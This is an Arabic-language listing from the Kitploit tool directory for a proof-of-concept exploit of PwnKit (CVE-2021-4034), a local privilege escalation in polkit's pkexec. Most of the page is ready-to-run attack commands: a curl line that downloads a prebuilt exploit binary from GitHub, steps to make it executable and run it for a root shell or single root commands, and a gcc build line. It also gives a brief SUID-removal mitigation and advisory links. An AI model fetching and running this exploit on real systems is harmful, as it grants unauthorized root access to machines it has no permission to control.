Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PwnKit-CVE-2021-4034 — إثبات المفهوم لـ PwnKit / CVE-2021-4034 - تصعيد الامتيازات المحلي لـ Pkexec | Kitploit
أدوات/GitHubGitHub/jayhutajulu1/pwnkit-cve-2021-4034
تصعيد الامتيازاتتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقاستغلال الملفات الثنائية
GitHubjayhutajulu1/pwnkit-cve-2021-4034

PwnKit-CVE-2021-4034

إثبات المفهوم لـ PwnKit / CVE-2021-4034 - تصعيد الامتيازات المحلي لـ Pkexec

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PwnKit

إثبات المفهوم لـ PwnKit / CVE-2021-4034 - تصعيد الامتيازات المحلية لـ Pkexec

الاستغلال

يدويًا

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

تم التصحيح

تشغيل الاستغلال ضد الإصدارات المصححة سينتج المخرجات التالية.

البناء

root@kitploit:~
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

التخفيف

إذا لم تكن التصحيحات متاحة لنظام التشغيل الخاص بك، يمكنك إزالة بت SUID من pkexec كتخفيف مؤقت.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

التفاصيل التقنية

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

المراجع

  • https://github.com/arthepsy/CVE-2021-4034/
تنزيل الأداة